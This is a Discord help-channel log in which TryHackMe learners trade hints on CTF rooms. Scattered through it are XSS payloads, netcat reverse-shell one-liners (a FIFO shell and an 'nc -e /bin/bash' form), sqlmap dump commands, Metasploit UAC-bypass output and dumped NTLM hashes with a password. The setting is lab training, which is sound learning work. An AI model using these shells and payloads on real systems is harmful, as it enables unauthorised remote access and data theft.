full totem
Hello everyone I need some of your advice completing this room https://tryhackme.com/room/crackthehash I managed to complete the first 3 hashes pretty easily using Johnm but i'm stuck on the 4th one (bcrypt) I'm running a Kali VM and this command has been running for 12 hours john hash2.txt --wordlist /usr/share/john/rockyou.lst -rule=single --format=bcrypt
Im just wondering if the task it self it's supposed to take that much time or if I'm doing something wrong
stuck fractal
Shrink your input space
And it'll be slow if your hardware is.
You can get a good 100 H/s on CPU or GPU
jolly mantle
okay.. I really need some knowledge on re
@indigo ridge i would suggest you to do the rooms Reverse Engineering, Reversing ELF, Intro to x86-64 and radare2 before even touching bof1 room..
full totem
@stuck fractal Yeah my machine only has 2gbs of ram and 2 cores for processing could that be an issue?ยก
I could try running Kali as a bootable USB instead of a VM so I actually use all my hardware
stuck fractal
You can run hashcat or John on the host
Rather than in a VM
Filter the input to 4char passwords or bruteforce
full totem
Sorry I'm kinda new, how could I filter the input?
Can't seem to find an option with john --help
hexed moat
I'm having a bit of a time finding the answer to question 8 in the Investigating Windows room. Question is "What port did this file listen locally for?" I've looked through the powershell scripts to see if there were any designated ports and also through event logs and pfirewall logs to see if anything was captured but I'm getting nowhere. Any help is appreciated.
@hexed moat
boreal yacht
Anyone have the answer for CC: Pen Test Section 5 question 6? I have spent an hour running sqlmap but the network is so slow that the machine crashes before It dumps the database
velvet flint
Anyone have time for help on 'Hacking with Powershell'. Some questions I do not understand what answer is expected
white salmon
Anyone have the answer for CC: Pen Test Section 5 question 6? I have spent an hour running sqlmap but the network is so slow that the machine crashes before It dumps the database
@boreal yacht It shouldn't take that long, are you sure you're doing it right?
boreal yacht
@white salmon I'm running sqlmap -u IP --dump-all --forms
white salmon
From memory that should be fine.
It's a while since I did that part.
Mind if I DM you?
boreal yacht
Thats fine
ember cove
Sorry to bother everyone, I'm running the beginner course and I'm at flag 5 of the linux challenges. I think I know how to use find but the problem I'm having is that it's printing a huuge list of permission denied. So much so that it doesn't even list the whole thing and I can't manually find what i'm looking for from the list. I've tried " find / -name flag5 2>dev/null" but it still prints the whole list.
Is there any chance someone could point me in the right direction?
ashen heron
your missing a / in dev/null shouldnt it be 2>/dev/null ?
I havent been thru it , just looking at your command line
ember cove
Oh sorry I mistyped there, I did put the / in there when I ran it
ashen heron
ok
stuck fractal
Show a screenshot?
ember cove
Sure, one second
Hmm it's not actually printing anything now for some reason, does this mean i'm not permitted to access the file?
stuck fractal
It means find can't find it
You can't list the contents of a dir if you don't have X on the dir
So you can maybe try switching user
ember cove
Ahh thanks, I'll try that now
Hmm couldn't find it in the other user either
The hint just says to use the find command
white salmon
aaa pls hint on hatter in wonderland privesc
wraith marsh
aaa pls hint on hatter in wonderland privesc
@white salmon basic enumeration
white salmon
I think you might do something better with the time than wasting it in asking riddles that have no answers.
kekw ๐
james what is that ?
ember cove
I've tried piping it with grep but I still can't find it ๐ฆ
Oh nevermind! "find / 2>/dev/null | grep flag5" did the trick
proper temple
Iโm currently working on the introductory research room and I am stuck on the question
โIf I wanted to exploit a 2020 buffer overflow in the sudo program, which CVE would I use?โ I have searched the tag โbuffer overflowโ in the exploit database and all 3 results that are in 2020 have no CVE. Iโm not looking for an answer just a nudge in the right direction
ember cove
You're searching the wrong thing ๐
Oh actually, are you getting the CVE from the text at the bottom of the page?
inland onyx
@proper temple It's sneaky. The vulnerability was discovered in 2019, but released in 2020
proper temple
Iโm accessing the database through google chrome and the CVE is at the top of the screen(well in my scenario it is appearing as N/A) I could send a photo to better explain if you wish?
proper temple
Ah okay that makes much more sense
mild eagle
in the room Injection any hints for last "task5" ?
glossy basin
use find command
mild eagle
ha ha @glossy basin thank you i didn't see the hint would hav saved me some time .. tnx.
glossy basin
nice
wraith marsh
Please remove spoilers. And itโs not working because youโre not the correct user. @north moat
north moat
can i dm @wraith marsh
wraith marsh
No, thereโs enough help in here. 
north moat
what mean spoiler ?
inland onyx
Things that spoil the room for other people. Answers, flags, solutions.
Anything you worked for that other people might want to figure out for themselves.
spring vector
advent of cyber is out of service? Cause I have been waiting like 10 minutes but the first task is not getting ping
naive geyser
I'm stuck at the last task of the pepega box , can anyone help ?
light mulch
@rotund skiff Hi, i saw you was asking what 2> /dev/null meant. i solved task 43 for learning linux thanks too you. 2> is just a way of forwarding everything that went wrong. typing > is the same as typing 1> where 1 is stdout (standard output) and if you type 2> you forward every stderr (standard error) towards the destination you typed /dev/null. It's just a way of handling errors. If this didn't make it any clearer. read about standard streams ๐ (also sent this over DM)
north moat
@wraith marsh thanks finally i got root wonderland ๐
tidal sedge
also sent this over DM
While I was not the person that you dm'ed, I ask you that you please read rule 1 in #rules ๐
spring vector
not every box responds to pings
@wooden mist i forgot the vpn #facepalm
tidal sedge
It's fine, now you do ๐
light mulch
Yes, thanks ๐
mortal dune
Task 20 #9 in ccpentesting is basically impossible because it doesn't tell you which order to put the options in
mild eagle
in ignite room i got ||python sccript but when running commands i is shown in raw html|| any idea how to fix this ?
surreal kite
Hey all, could I please get a tip for Linux Challanges Task 5 flag 33 - I've checked
||/usr/local/bin
/usr/local/sbin
/usr/bin
/usr/sbin||
etc i can't see it :/
rancid crystal
@surreal kite try reading this: https://opensource.com/article/17/6/set-path-linux
@surreal kite you can ask me here anything you like ๐
warm schooner
I shall delete
stuck fractal
DM me if you want some help at this point
hasty slate
maybe use shell instead of binary :/
tardy beacon
@stuck fractal May I DM you? (Need some help in wonderland)
stuck fractal
No@tardy beacon
indigo ridge
hey I think I got command execution from teaParty.. but the command is running as rabbit.. so what should I do.how make it to hatter
stuck fractal
Then you haven't done it right
indigo ridge
โน๏ธ .. i used ||bof|| in it and then the command get executed in next line..is it right?
stuck fractal
Look very closely at the code
indigo ridge
i used ghidra.. and saw the c code.. only main function
stuck fractal
Yep. Ghidra/Cutter will give you more or less the exact source code
Understand what's happening, and you'll understand why it doesn't work
indigo ridge
I think it is related to date time thing.. ?
indigo ridge
okay
stuck fractal
Depends what stage you're at
ripe hedge
Ps he wrote the box
torn mural
did I miss something on wonderland. I was able to access another user's directory to run a binary as the initial user on Friday, but now it is blocked today?
stuck fractal
@torn mural That was a bug
torn mural
gotcha, so I need to priv esc to that user that has the binary?
stuck fractal
You need to privesc everywhere
@white salmon Don't spoil the box.
It's a huge spoiler
ripe hedge
You can rephrase the question to be more generic
stuck fractal
@ripe hedge No they literally dumped the method in here
warm schooner
@stuck fractal is it okay to DM? To explain my previous message
stuck fractal
@warm schooner yup
ashen violet
Is there anyone that can give me a nudge on the third flag in Python Playground?
white salmon
Hello, I am currently on "xss" box,
On task 8, challenge 2
I have successfully popup alert, but the key is not shown
(as mentioned by NinjaJc01, it is a known issue)
Input value || <IMG SRC="/" onerror='alert("Hello");'> ||
Any hint to solve the challenge in other way would be much appreciated. ๐โโ๏ธ
wraith marsh
Any chance I could get the smallest nudge on flag2 for PythonPlayground? been looking for about 3 hours now 
white salmon
Ah, thanks Hydragyrum. Managed to solve it. ๐ฅณ
ripe hedge
3 and 4 are looking for something very specific, I haven't found it yet
wraith marsh
do you have the creds?
@wooden mist Nope, only user.
potent vale
I think I know the username, but no idea where the pass is ๐
white salmon
3 and 4 are looking for something very specific, I haven't found it yet
@ripe hedge For challenge 3 and 4, somehow I manage to retrieve the flag without actually printing "Hello"
ripe hedge
I got the xss in 10 different ways with no flag
white salmon
Then for challenge 3 and 4,
Injecting || <img src="." onmouseenter=alert("Hello");> ||
Gives me success = true, even though it pops up nothing.
ripe hedge
I ...did that
Without the || "."|| Though
I'll try tonight
Debugging unit tests now...
wraith marsh
Yeah good luck elf
white salmon
no
wooden mist
finish kenobi
white salmon
i cant i dont have mount
warm schooner
GL Elf
white salmon
ty
wooden mist
ninja sent you the required package yesterday
white salmon
uh
wraith marsh
This is the hardest box I've done so far I think
white salmon
5 sec ๐
warm schooner
Couldn't get anything to return on Gobuster for Python Playground lel
5 wordlists later
tidal sedge
I found the playground, but the blacklist seems to hate me 
potent vale
Check the gobuster parameters, there's a crucial one.
warm schooner
๐
wraith marsh
I'm still trying to get creds for 3/4 hours :/
wooden mist
||don't check for directories||
warm schooner
||check for file types instead?||
Do you need to know the hash value as you already have the window.location?
wooden mist
๐
tidal sedge
A friend told me that it's important, I'm on that phase as well @warm schooner
warm schooner
lmao that's cool
tidal sedge
Because I hate JS I might just throw hydra at it ๐
warm schooner
Yeah, the JS is annoying
A friend told me that it's important, I'm on that phase as well @warm schooner
@tidal sedge hard to identify
wraith marsh
I'm giving up for now, if it is that, i hate no idea where to start ๐ฌ
warm schooner
Oh it's a custom hash, just have to reverse the JS
tidal sedge
Yeah
But I hate JS ๐
I could just try to reverse the order that it's hashed in but hydra sounds more fun ๐
wooden mist
lmao hydra
ashen violet
Flag 3 hint? ๐ฅบ
hazy thorn
Any hints for Hacktivity- Learning Linux, Task-21?
I am not getting what is to be done
white salmon
use what you learned in 18
hazy thorn
what are we supposed to do in this task I am confused about that. Do we need to create a file for checking environment variable values or is there some file already present which we need to run to find password like task 11
white salmon
no just create the environment variable
stuck fractal
@hazy thorn Create thing, run binary, get password
Make sure you're in your home directory
ripe hedge
Yeah that
white salmon
@warm schooner you mean extensions ?
warm schooner
Mean the same thing
white salmon
its not working tho ๐ญ
tidal sedge
@white salmon ||You are searching for the wrong extensions.||
warm schooner
Finding the page is the ez bit haha
white salmon
i liturally don't know how to do this lol
potent vale
Is Python Playground rated hard because of flag3? Because I'm lost and in hindsight the first two flags were not that much more difficult than other rooms that are rated medium or less. I could need a hint.
wraith marsh
ive been staring at privesc all day now
@spiral stag Iโve been the same for creds ๐ญ
spiral stag
๐
white salmon
@wraith marsh i think i alredy figured out how to get the creds
wraith marsh
Oh ffs. I think I know whatโs needs to be done, just no idea of the how
hazy thorn
@white salmon @ripe hedge @stuck fractal I created test1234 as env var and assigned it $USER but on running binary it gives ```cat: /etc/shiba/shiba3: Permission denied
no creds needed for 1st flag tho
white salmon
python playground @wraith marsh
wraith marsh
no creds needed for 1st flag tho
@spiral stag I got flag1 ๐
spiral stag
ah ok
warm schooner
Python ||read directory? Guessing /home/connor/||
wraith marsh
Python ||read directory?||
@warm schooner || ganstas pop shells || ๐
spiral stag
w00t w00t
warm schooner
Couldn't get an rs to work
white salmon
||plz hint||
warm schooner
The playground returns security threat when trying to do an rs
spiral stag
not always ๐ฎ
stuck fractal
@hazy thorn Terminate and redeploy, you broke the binary
wraith marsh
The playground returns security threat when trying to do an rs
@warm schooner try a different approach I got a full tty ๐
white salmon
please hint on ||admin.html login page idk how to deal with the hash thing||
lusty wigeon
linear operations
spiral stag
@white salmon its all there
white salmon
@lusty wigeon i don't know math.
white salmon
YES
spiral stag
no math needed tho
white salmon
||when i saw the sc i was like tf do i do||
warm schooner
white salmon
but i don't know how to make it in python
wraith marsh
Iโm pretty lost there too ๐ given up now
white salmon
i don't even understand js
potent vale
Huge spoiler: Use python ๐
white salmon
wow ty sherlock ๐
wooden mist
use python for what 
hazy thorn
@hazy thorn Terminate and redeploy, you broke the binary
@stuck fractal Thanks got it now๐
white salmon
to re hash? @wooden mist
white salmon
idk how to do it tho :Joy:
warm schooner
use cython
spiral stag
python++
white salmon
i can use c then lol
wraith marsh
Python#
warm schooner
python bad slow
white salmon
its still not helping me how to do this tho
spiral stag
thats how i feel aswell
white salmon
๐
but still even if i figure it out im gonna do it in c cuz i want to practise it
warm schooner
Trying RS, pty and reading directories, all return security threat
Gonna try to obfuscate some python
wraith marsh
Think about what could be causing the error
white salmon
internet?
warm schooner
The playground doesn't seem to like ||imports||
spiral stag
pebkac
warm schooner
pebkac
@spiral stag What about standing desks?
warm schooner
a pebkac error cannot occur by definition if the user is standing
indigo ridge
i searched.. I found out only relative path could be exploited
torn mural
You need to privesc everywhere
@stuck fractal Just finished. Great room!
stuck fractal
@indigo ridge Then there's your answer
cold tulip
anyone know learn linux task 43
how to find password for nootnoot
grand rune
any hints on how to research for the root step on vulniversity? I am supposed to get advantage from the || SUID bit of /bin/systemctl || to get root, but I have no idea what to put in the web search form.
oblique cliff
Try exactly that. What you just put as a spoiler, research that
Gtfobins is a great resource for that kind of privesc
white salmon
anyone know learn linux task 43
how to find password for nootnoot
@cold tulip You can find a youtube video about it
oblique cliff
@cold tulip also ask on one channel before spamming on the others
cold tulip
@cold tulip also ask on one channel before spamming on the others
@oblique cliff okay dude got panicked ๐
sorry
oblique cliff
Np now you know ๐
cold tulip
@cold tulip You can find a youtube video about it
@white salmon well it doesnot show the reason
i want the reason
for searching in the specific file
or dir
grand rune
thank you!!!
Gtfobins is a great resource for that kind of privesc
oblique cliff
@cold tulip the walkthroughs will show you what to do and some/most will explain why
cold tulip
thank you!!!
@grand rune this is some site?
cold tulip
@cold tulip the walkthroughs will show you what to do and some/most will explain why
@oblique cliff where can i access these walkthrough
youtube dont have these
steady stratus
!writeup zthlinux
proud scarabBOT
TryHackMe
cold tulip
i mean informative one
steady stratus
That's very informative
oblique cliff
In rooms thereโs always a walkthroughs tab
steady stratus
poor ol' muirl
oblique cliff
Brutal
steady stratus
DM the tryhackmebot using !verify and your token from your profile
nope, replace the brackets <> with your token
cold tulip
DM the tryhackmebot using
!verifyand your token from your profile
@steady stratus You dudes are greatttt
potent vale
Just to confirm the obvious because I have no entrypoint at all so far... Is flag3 on Python Playground a Python related privesc? ๐
ripe hedge
@white salmon Thanks for the tip, the room is definitely buggy
white salmon
Just to confirm the obvious because I have no entrypoint at all so far... Is flag3 on Python Playground a Python related privesc? ๐
@potent vale I dont think so, but still stucked on second flag so dont know really
limber quarry
Anyone have some hints on python playground? I managed to get the first flag but the second flag got me stuck for hours...
sinful garden
Did you check the hint at the second flag already?
white salmon
Anyone have some hints on python playground? I managed to get the first flag but the second flag got me stuck for hours...
@limber quarry same here
sinful garden
Hint is pretty good, i knew what i had to do shortly afterr
covert basalt
@white salmon @limber quarry pm me
white salmon
Comming
solid patrol
any hints on geting root on python playground
covert basalt
stuck at the same place
viscid egret
when i try to upload php-reverse-shell.phtml in vulniversity, then it says this message:
WARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)
any help?
stuck fractal
You weren't listening properly
river elbow
check your host firewall rules?
stuck fractal
@viscid egret Are you attacking from a kali VM?
viscid egret
no
stuck fractal
Did you correctly edit the reverse shell?
Correctly meaning putting your VPN IP in there
river elbow
yes!
stuck fractal
This is why we use kali
random wraith
in room: Injection | Task 5 | #1 i cant get reverse shell from the os injection why !
solemn smelt
@random wraith https://www.youtube.com/watch?v=53zkBvL4ZB4
random wraith
okey @solemn smelt
i tried to get a reverse shell using nc -ip -p -e /bin/bash
but i get nothing can't figure what exactly is the issue
solemn smelt
did you setup your netcat listener on your attacker machine
random wraith
yea sure
solemn smelt
thats a yes or no, not sure?
random wraith
yes
solemn smelt
are you running the vpn on the vm or your host
random wraith
on my host
solemn smelt
it needs to be on your vm or the reverse shell will not work
random wraith
you mean the vpn config of THM ?
solemn smelt
yes
random wraith
nah thats running on my vm
is running on my kali vm
i already completed the room but still the root flag which needs r****** sh***
solemn smelt
did you set the ip and port in the command it seems you didnt from what you posted
random wraith
yea i set the ip and port
solemn smelt
did you use your tun0 or eth0 ip?
random wraith
tun0
solemn smelt
what port
solemn smelt
are you sure thats the right exploit to use?
random wraith
connect with : nc (vpn ip) (port) -e /bin/bash
well i think so its an os injection
solemn smelt
that doesnt mean the web server is vulnerable to that I would enumerate more because you more than likely arent using the right exploit
white salmon
in room: Injection | Task 5 | #1 i cant get reverse shell from the os injection why !
@random wraith i used perl reverse shell, others dont work for me
random wraith
@white salmon thanks
inland onyx
I reckon mkfifo /tmp/f; cat /tmp/f | /bin/sh 2>&1 | nc <tun0-ip> <open-port> > /tmp/f would work. I used that, from memory
If perl works, for for it
white salmon
@white salmon thanks
@random wraith other way works for me was upload php reverse shell
random wraith
@inland onyx oh alright gonna try that ty
inland onyx
That should be your go-to netcat reverse shell for Linux, by the way -e works on precisely one version of netcat, and there are lots of versions
A FIFO will nearly always work, if netcat is installed and the firewall allows
random wraith
@inland onyx thanks those info are really helpful โค๏ธ
inland onyx
Np ๐
lime sonnet
Hello, dumb question but, for the vulneversity gobuster question, I can't find the wordlists we are supossed to use, since I dont have the Kali Linux machine
inland onyx
No such thing as a dumb question
Dirb and Dirbuster wordlists can be found online
Kali is the best way forward if you're just starting out though
lime sonnet
Thanks, I just cant pay for the subscription atm, and my terminal is linux, so it all works out, I just didnt know the wordlist names
Appreciate it
river elbow
lmao really?
stuck fractal
@white salmon This channel is for room hints.
regal comet
Can i get a hint for flag3 on Python Playground ?
frosty inlet
can i please get a smol nudge for flag2 on python playground?
regal comet
@frosty inlet look at the source code...
sick sun
anyone knowing this hash ||(dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu)|| python playground ?
lusty wigeon
Well thats not actually a hash @sick sun
sick sun
need hint to get some creds on python playground
wooden mist
read the code
spiral stag
I need some help on python playground privesc, I keep banging my head on ||mtr-packet|| but im not sure that's the way
if not, then im even more lost ๐
wooden mist
it's not
spiral stag
๐ฎ
wooden mist
||look at / closely||
spiral stag
its obviously something i've never seen or done before :/
sick sun
@wooden mist ||dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu|| <- that is my stuck
sick sun
@wooden mist im stuck to get creds in flag2 bro
wooden mist
I know, i just don't get your mesage about ||int_array_to_text||
analyze the code
and you should know what to do next
sick sun
@wooden mist oke bro i was deleted it
wooden mist
please don't ping me each time you want to reply, I'll read the message either way
glossy basin
For python playground, is there an initial file or a directory that we need to find in order to get to the playground?
wooden mist
yes
glossy basin
alright
spiral stag
okayface, the only other thing i find is ||snap|| but that is a patched version
im so blind apparently
is there a thm room i should do to improve myself?
wooden mist
a room that'd help you with this one? i don't think there is one
wooden mist
||you probably missed a /|| if that makes sense
wooden mist
๐
spiral stag
๐ฎ
wooden mist
ayyy
spiral stag
@wooden mist thanks for the help!
wooden mist
does the hint make sense now? 
wooden mist
mhm
spiral stag
weird that that works tho
wooden mist
mind DMing me with your method of getting a shell from the playground? I'm curious how people solved that part
spiral stag
yep
warm schooner
Python Playgrund - Any hints on how to progress once we reach the playground? Have tried: RS, pty and directory enumeration. Need to look into python exploits
wraith marsh
Just write some python, but think about what you can't do. and try doing it a different way
warm schooner
some python
wooden mist
think of ways to bypass that
wraith marsh
^
warm schooner
||hardcode instead of importing?||
wooden mist
ยฏ_(ใ)_/ยฏ
potent vale
If there just was a list of functions that you can use without importing stuff in Python
wraith marsh
I'm going to be spending all day on this stupid || JS || 
warm schooner
The RE does not seem fun
wraith marsh
I don't even know where to start ๐คทโโ๏ธ
potent vale
From the bottom
wooden mist
@wraith marsh you start with reading the code
wraith marsh
@wraith marsh you start with reading the code
@wooden mist I've done that, and tried several things and just get junk
wooden mist
wraith marsh
Will do
low shuttle
Help with Room Injection Task#3 Question 1
I tried all I can, tried all the ping commands.
warm schooner
From the bottom
@potent vale Started from the bottom now we here
potent vale
You know what to do I guess, just not how. I don't know how to give a hint without providing the source code which is not going to happen ๐
If you don't know where to start "from the bottom" is the obvious answer in that task
Can I ask a question for a hint including my potentially spoiling approach here in a spoiler tag?
light mulch
I could need a slight hint here, i am doing common linux privesc and am doing task 4: Q6. What critical file has had its permissions changed to allow some users to write to it? The hint says, think about where passwords are stored on linux. A slight hint on what i am missing?
light mulch
Solved it but would argue the answer is wrong for what the hint is pointing towards ๐
potent vale
Finally got flag3 on Python Playground. Thanks for the hints ๐
I'll have to check out future writeups on this one if there are other ways to claim flag1 and 3
indigo ridge
some hint on hatter to root please..
potent vale
@indigo ridge ||linpeas||
indigo ridge
thankyou every one.. and the creator of the wonderland room. @stuck fractal after so many attempts I just rooted the box
. I learned a lot.. phewwwww!!!
@indigo ridge ||linpeas||
@potent vale thanks brother!!
bitter shadow
What type of DNS server contains records specific to domain extensions (i.e. .com, .co.uk, etc)? Use the long version of the name.
I looked everywhere but couldn't find anything
any help :)
anyone at all?
bitter shadow
I read it 3 times now
stuck fractal
I mean it's in the room
vestal otter
Hey guys. Im struggling with Hackpark. im on task 3 - trying to gain a reverse shell on this system. I have openened a netcat listener. I have uploaded the Postview.ascx file on to the webserver. The navigated to the directory listed on the CVE but i get an error.
any ideas where i am going wrong? any hints / tips?
i have also followed the video walk-through and followed the steps exactly and still get the above error.
vestal otter
looks like it was a school boy error on my part ๐ฆ I entered the IP of Hackpark on the aspc file instead of my Kali machine and so NC could not listen.
Now working ๐
oblique cliff
good cuz i was trying to figure out what you might be doing wrong lol
vestal otter
Hackpark is only available for 1 hour....so so annoying and frustrating. Even when you try to extend the webserver stops responding.
oblique cliff
JackOfAllTrades, is there something I'm missing? I assumed you'd be able to ||log in either to the web server or ssh with the password found in the page source and username being either Jack, jack, Johny, Johnygraves|| but none of those work
inland onyx
Nope, keep looking
oblique cliff
||oo found it thanks except now idk how thats encoded||
inland onyx
๐
If you get very stuck with the encoding, go search up the name you found before
Most people skip that, but there's a hint there
tepid mist
Hey, anyone able to help me with a room/linuxctf question?
real simple flag probably but im not sure what to look at for Flag 7
median compass
@tepid mist which room?
tepid mist
median compass
google for how to find the process list and then grep that for a keyword
it should jump out at you then
median compass
well there's switches on the ps command to make it show you more info
tepid mist
hmmm, to the man page
median compass
happy hunting
tepid mist
thanks โค๏ธ
median compass
Quick question for my own, is there anything in linpeas that would help with flag3 of the Python Playground, I have gone through it more than once and it's starting to blur in front of my eyes ๐
spiral stag
@median compass there is not
tepid mist
@median compass found it when i used BSD syntax
median compass
cheers @spiral stag
nice one @tepid mist - 'ps -aef' will usually find anything there is to be found
tepid mist
thanks for your help
median compass
very welcome
oblique cliff
hmm, ||got that the hint is the stego image on the webpage for the user, but the user isnt the name of the dino itself and theres nothing in strings in the image|| any other hint for jackinthebox?
inland onyx
Who said it's in the stego image?
oblique cliff
ok i append to i dont see anything in any of the images ๐ฆ
oblique cliff
i dont have too much experience with stenography, is there other stuff i should be doing to explore the images?
besides strings
stuck fractal
Steg tools
median compass
@oblique cliff this guy has a good resource of tools https://0xrick.github.io/lists/stego/
oblique cliff
oh, cool. thanks yall
sinful garden
Could someone give me a hint on python playground root. Have been stuck for hours and have no idea where to even start anymore 
covert basalt
@sinful garden pm
sinful garden
yea thats fine
surreal kite
@rancid crystal Hey there ๐ question if the answer for Room "Google Dorking" Task 3 Question 3 is working ? my answer of ||85/100|| is not being accepted? ๐ฆ
stuck fractal
@surreal kite Your score is wrong
stuck fractal
@steady stratus
steady stratus
Sorry about that. Iโll fix the question when I get back from work in a few hours (probably completely rewrite it tbh) @stuck fractal @surreal kite
bitter shadow
Of these addresses two are reserved, what is the first addresses typically reserved as?
steady stratus
It is currently expecting 83/100 @surreal kite
bitter shadow
idk I tried ||gateway|| if that's what you're referring to
I also tried ||localhost||
bitter shadow
umm
spiral stag
there are 2 addresses you cannot assign in an /24 network
spiral stag
lol
bitter shadow
thanks
spiral stag
np gl!
fallen jolt
Hello. Im at the last step of learning linux. And managed to find the user nootnoot and pw. Imbsuposed to find root.txt. But access denied on the root folder. Any hints? :)
oblique cliff
check what nootnoot can do to escalate his privileges
stuck fractal
man sudo
surreal kite
@steady stratus thank you
sour marlin
hey guys, i have been on the platform for a few weeks and noticed that i can do the learning linux easy rooms to boost my score (to irritate a friend with far less time than me) and i seem to be unable to input the answer to a question. i am 100% certain it is correct and have even googled answers for the room which agrees with me. any known workarounds? im on googledorking task2 question 2
nvm, just kept clicking submit
thorny nest
Somehow feel like Iโve been going round in circles with Python playgroundโs third flag. Any nudge is greatly appreciated
wraith marsh
You should have noticed something if you enumerated when you got flag1. @thorny nest
bold nebula
Hey, does anyone solved the shodan.io room? I've solved everything exprect: "What is the 3rd most popular country for MYSQL servers in Google's ASN?" As shodan only shows 2 results, which are not the right ones. Searching the didn't do the trick...
thorny nest
Nope. Donโt recall seeing anything for flag1. Though i got flag2 prior to flag1. Hmmm will take a look again. Thanks @wraith marsh
wraith marsh
Have a go at it, if you get stuck just ping me again ๐ @thorny nest
thorny nest
Sure will do. Though I just might take a break. Been going round in circles.
eternal brook
Find all files with write permission for the group "others", regardless of any other permissions, with extension ".sh"
anyoe can help with this question?
how do i specify write permissions only for group others
white salmon
hi all, what things can i do if i can create files as root on specific directory ?
white salmon
yeap haha, python playground related.
covert basalt
you might want to run a file with root permission
i would suggest reading about suid
white salmon
ok @covert basalt but the user dont belong to sudoers
covert basalt
i have suggested according to python playground
white salmon
ok let me learn more about that topic, thanks @covert basalt
viscid egret
could someone help on room ice task 3 question one
i found the answer, it is Exec Code Overflow
but the thing doesnt want to accept it
i know its that because i got the cve number right
median compass
finally, got root on python playground, great box @viscid dust, very clever! tyvm
oblique cliff
@viscid egret if you look at the asterisks, you'll see that what you think the answer is can't possible be the answer
rose moss
hello guys
viscid egret
hm but i looked in the cvedetails site and that was the name
rose moss
I'm on the RP. Metasploit
I hashdumped the hashes of the machine
got Dark's password,
oblique cliff
please dont post ansswers
rose moss
I know
viscid egret
oop sorry
median compass
what would be a longer version of the word exec @viscid egret
viscid egret
execute
oblique cliff
maybe try that since its the right length as the answer suggests
viscid egret
thx
oblique cliff
just ask your question
median compass
you haven't even said what room it's about @rose moss
median compass
ah, big gap between first question and last, my bad
oblique cliff
can mark it as a spoiler
rose moss
I got the user password
oblique cliff
|| like this || put 2 | on each side
rose moss
but the root password || was a blank ||
I enabled the rdp
but ||could not connect with a blank, how come ||
||7c4fe5eada682714a036e39378362bab:Password01!||
||31d6cfe0d16ae931b73c59d7e0c089c0:||
@oblique cliff thanks for the trick
any ideas ?
oblique cliff
who's ||Password01!|| for?
oblique cliff
you sure thats the name of the user?
viscid egret
hey im now on question 12 where i have to exploit, but it keeps failing. any ideas?
||using bypassuac_eventvwr||
oblique cliff
if youre following the steps exactly and youre sure then terminate and redeploy
viscid egret
yep did that already
it says to try multiple times
but output is the same
it seems to work but doesnt create a new session
||[] Started reverse TCP handler on 192.168.0.20:4444
[] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[] Configuring payload and stager registry keys ...
[] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[] Cleaning up registry keys ...
[] Exploit completed, but no session was created.||
thats all it says
stuck fractal
@viscid egret your VPN IP isn't really sensitive data and it's harder for us to diagnose if you have the wrong IP set
dusky vigil
Lhost needs to be tun0
viscid egret
yep it is
dusky vigil
Which is the vpn ip
viscid egret
thats not my ip
dusky vigil
That shows 192
viscid egret
thats the machine ip
stuck fractal
LHOST needs to be your VPN IP
dusky vigil
Key tip with msf sometimes it fails to set so setting it a couple times is usually a safe bet
viscid egret
ok yeah that fixed it
oblique cliff
like 6 times
viscid egret
it did not want to set it
oblique cliff
or possibly 18
viscid egret
thx
mild eagle
In burpsuite room i cant find a โgood requestโ where set cookie is set in the response so sequencer Can calculate entropy any hints ?
hexed crescent
Are you looking in the Response tab? @mild eagle
mild eagle
@hexed crescent yes the only one I. Can find is for socketxxx
hexed crescent
Re-browse the login page with credentials, intercept through, and it should provide a Set-Cookie response entry.
hexed crescent
Did you go through all the entries in Proxy > HTTP history?
mild eagle
Yes and there is a lot now @hexed crescent
hexed crescent
One thing to try, in OWASP Juice Shop, is on the login page, create a new account, and login with that new account, that should get you the Set-Cookie response entry in Proxy > HTTP history > Response sub-tab for sure.
paper glen
Hey guys, I am doing the networkservices, Exploiting SMB Part, I have managed to go into the smb client but I can't seem to view any of the files or look for the owner of the folder, any guidance would be great! Cheers (I have used the -help command but I don't seem to be getting anywhere with that as well)
https://cdn.discordapp.com/attachments/692456966802374687/720019671084171294/unknown.png
I don't want the answer, just guidance on what to do next, been looking at this questions for nearly an hour
white salmon
There is a document in there that stands out to me immediately.
You won't be able to view it you will need to download it.
paper glen
Yeah, the Working From Home Information.txt file
mild eagle
@hexed crescent didnโt help strange
paper glen
okay, I assume that is using get command?
white salmon
Either that or mget *.
paper glen
When I use either of those commands, i get this response
NT_STATUS_OBJECT_NAME_NOT_FOUND opening remote file \Working
paper glen
mate
I could cry
That should allow you to choose with Y or N which files you want.
@white salmon Thank you so much
white salmon
Haha, no problem.
mild eagle
@hexed crescent I guess it is supposed to be the token cookie - but I donโt have a set-cookie response for that one
thorny nest
@wraith marsh mind if I DM you?
paper glen
Hello again, I am trying to ssh into a server using a private key however I am getting this returned to me:
I believed I didn't need the password due to the private key?
wraith marsh
Which room is this?
paper glen
Network Services
[Task 4] Exploiting SMB
#8
Download this file to your local machine, and change the permissions to "600" using "chmod 600 [file]".
Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.
What is the smb.txt flag?
wraith marsh
I could be wrong. But I think you need a different username
stuck fractal
@paper glen Yep, as JB said, the username is wrong
paper glen
Okay, thanks for that! Ill keep digging!
wraith marsh
I think that one caught me out ๐
paper glen
๐ญ
white salmon
Yes me too.
paper glen
So I'm 99% sure I have got the right username now but once I change the file permissions for the id_rsa, it won't connect
solemn smelt
you need to change the permission of the ssh key
stuck fractal
It complains to you very clearly
paper glen
I did that though? chmod 600 id_rsa
stuck fractal
usernames are case sensitive
wraith marsh
^
paper glen
..
HAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHAHAHAHAHHA
wraith marsh
Linux is case sensitive
burnt cosmos
Working my way through the injection room and it asks where the user's shell is set as, does this just mean the directory it spawns in or am i missing something?
white salmon
Congrats @paper glen
paper glen
Congrats @paper glen
@white salmon thank you!
white salmon
any nudge on python playground, I got flag1 and I have a shell on the box
but not sure where the rest flags are
๐ฆ
Python shrugs
I'm sure somebody can though. :_0
wraith marsh
